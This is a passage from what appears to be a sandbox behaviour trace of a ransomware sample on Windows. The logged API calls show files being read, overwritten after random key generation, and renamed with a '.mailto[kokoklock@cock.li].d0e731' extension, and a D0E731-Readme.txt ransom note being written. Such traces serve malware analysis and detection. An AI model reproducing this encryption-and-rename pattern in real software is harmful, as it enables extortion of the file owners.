lpNumberOfBytesRead=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0xb1afcc4*, lpNumberOfBytesRead=0xb1afcc0*=0x4, lpOverlapped=0x0) returned 1 [0064.710] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.710] NtQuerySystemTime (in: CurrentTime=0xb1afc9c | out: CurrentTime=0xb1afc9c*=132121176225965361) returned 0x0 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xcff3bfbc [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x6e0ac7fe [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xe3dc6e [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xd4a465f [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x36e190b3 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x39083bc5 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xe078f594 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xc21e1685 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xeec3d267 [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x3f27e7ca [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xf4d9179d [0064.710] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x3aad6707 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x7ff1c471 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x17eeffa6 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x29e40410 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x77bc04db [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x90582d89 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x8b3c2e95 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x869d622e [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x666d2c85 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xf9c57c90 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x5c7ee9d2 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xfb198bcd [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x53ec1121 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x5bc069d [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x6102fdde [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xb4e0af0a [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x1107ab7f [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x8daff7d4 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x6dffc586 [0064.711] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0xc1295fcd [0064.712] RtlRandom (in: Seed=0xb1afca8 | out: Seed=0xb1afca8) returned 0x693dfb88 [0064.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.724] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0xb1afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb1afc9c*=0x28, lpOverlapped=0x0) returned 1 [0064.724] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb1afc64 | out: lpNewFilePointer=0x0) returned 1 [0064.724] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xb1afc98, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xb1afc98*=0x28, lpOverlapped=0x0) returned 1 [0064.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.724] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb1afc94, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb1afc94*=0x20, lpOverlapped=0x0) returned 1 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.724] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efae0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0x33efae0*, lpNumberOfBytesWritten=0xb1afcc0*=0x8, lpOverlapped=0x0) returned 1 [0064.725] WriteFile (in: hFile=0x3c0, lpBuffer=0xb1afcd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0xb1afcd8*, lpNumberOfBytesWritten=0xb1afcc0*=0x4, lpOverlapped=0x0) returned 1 [0064.725] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb1afcc0*=0x4, lpOverlapped=0x0) returned 1 [0064.725] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb1afcc0*=0x6c, lpOverlapped=0x0) returned 1 [0064.725] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xb1afcc0*=0x20, lpOverlapped=0x0) returned 1 [0064.725] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb1afcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb1afcc0*=0x4, lpOverlapped=0x0) returned 1 [0064.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0064.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.725] CloseHandle (hObject=0x3c0) returned 1 [0064.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce718 [0064.726] wcscpy (in: _Dest=0x33ce718, _Source="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" [0064.726] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" [0064.726] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.727] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0064.727] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", dwFileAttributes=0x20) returned 0 [0064.727] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430e38 [0064.727] wcscpy (in: _Dest=0x3430e38, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0064.727] wcscat (in: _Dest=0x3430e38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt") returned="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" [0064.727] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\d0e731-readme.txt")) returned 0x20 [0064.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e38) returned 1 [0064.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e7090) returned 1 [0064.727] RtlExitUserThread (Status=0x1) Thread: id = 204 os_tid = 0x11a8 [0063.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0064.544] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x20) returned 1 [0064.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0064.545] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0xb22faa8 | out: lpFileSize=0xb22faa8*=3069) returned 1 [0064.545] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.545] ReadFile (in: hFile=0x39c, lpBuffer=0xb22fa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0xb22fa7c*, lpNumberOfBytesRead=0xb22fa78*=0x4, lpOverlapped=0x0) returned 1 [0064.547] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb30 [0064.547] NtQuerySystemTime (in: CurrentTime=0xb22fa54 | out: CurrentTime=0xb22fa54*=132121176224402892) returned 0x0 [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x91c3fec3 [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x8b4b3637 [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x9bcefc9a [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xaeb63982 [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xa85add28 [0064.547] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xa6c87b93 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x28224210 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xdc82e07e [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x826a196e [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x9b61a217 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x5679b5f [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xab3e832c [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x693eefd8 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xf27a9dbd [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x67080f47 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xea4c5acc [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xf3ba23fe [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xb59da1ff [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x92be0d56 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x50489beb [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x6f34f8d2 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x7dab55e1 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xaaf2ba60 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x7bad0bbc [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x978ea75f [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x75eecbeb [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0xe1d3e5e0 [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x1edcf73a [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x39c06e4e [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x7e9429f [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x2cc4934e [0064.548] RtlRandom (in: Seed=0xb22fa60 | out: Seed=0xb22fa60) returned 0x1c730cc7 [0064.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.560] ReadFile (in: hFile=0x39c, lpBuffer=0x3475830, nNumberOfBytesToRead=0xbfd, lpNumberOfBytesRead=0xb22fa54, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb22fa54*=0xbfd, lpOverlapped=0x0) returned 1 [0064.560] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb22fa1c | out: lpNewFilePointer=0x0) returned 1 [0064.560] WriteFile (in: hFile=0x39c, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0xbfd, lpNumberOfBytesWritten=0xb22fa50, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xb22fa50*=0xbfd, lpOverlapped=0x0) returned 1 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb58 [0064.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.560] WriteFile (in: hFile=0x39c, lpBuffer=0x33efb58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb22fa4c, lpOverlapped=0x0 | out: lpBuffer=0x33efb58*, lpNumberOfBytesWritten=0xb22fa4c*=0x20, lpOverlapped=0x0) returned 1 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb58) returned 1 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xb22fa78*=0x8, lpOverlapped=0x0) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0xb22fa90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0xb22fa90*, lpNumberOfBytesWritten=0xb22fa78*=0x4, lpOverlapped=0x0) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb22fa78*=0x4, lpOverlapped=0x0) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb22fa78*=0x6c, lpOverlapped=0x0) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb22fa78*=0x20, lpOverlapped=0x0) returned 1 [0064.561] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb22fa78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb22fa78*=0x4, lpOverlapped=0x0) returned 1 [0064.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.561] CloseHandle (hObject=0x39c) returned 1 [0064.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0064.562] wcscpy (in: _Dest=0x3486220, _Source="C:\\588bce7c90097ed212\\3082\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf" [0064.562] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0064.562] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.564] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0064.565] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x80) returned 0 [0064.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427478 [0064.565] wcscpy (in: _Dest=0x3427478, _Source="C:\\588bce7c90097ed212\\3082\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0064.565] wcscat (in: _Dest=0x3427478, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" [0064.565] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\d0e731-readme.txt")) returned 0xffffffff [0064.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0064.565] WriteFile (in: hFile=0x39c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb22fa74, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb22fa74*=0x481, lpOverlapped=0x0) returned 1 [0064.566] CloseHandle (hObject=0x39c) returned 1 [0064.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427478) returned 1 [0064.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa0f8) returned 1 [0064.566] RtlExitUserThread (Status=0x1) Thread: id = 205 os_tid = 0x11ac [0063.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0064.665] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0064.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0064.666] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0xb2af970 | out: lpFileSize=0xb2af970*=79996) returned 1 [0064.666] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x13878, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.666] ReadFile (in: hFile=0x3c0, lpBuffer=0xb2af944, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb2af940, lpOverlapped=0x0 | out: lpBuffer=0xb2af944*, lpNumberOfBytesRead=0xb2af940*=0x4, lpOverlapped=0x0) returned 1 [0064.667] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.667] NtQuerySystemTime (in: CurrentTime=0xb2af91c | out: CurrentTime=0xb2af91c*=132121176225652872) returned 0x0 [0064.667] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xbba8ce7a [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xb6c0f840 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xbe94a7bb [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x12aaf385 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x4d7ac9f0 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xd28b5c08 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x531f41f0 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x6cac124 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x574b0fa2 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x8d2e048e [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0xec0aba41 [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x7216574d [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x1efc417c [0064.668] RtlRandom (in: Seed=0xb2af928 | out: Seed=0xb2af928) returned 0x48cdc4c2 [0064.668] RtlRandom (in: 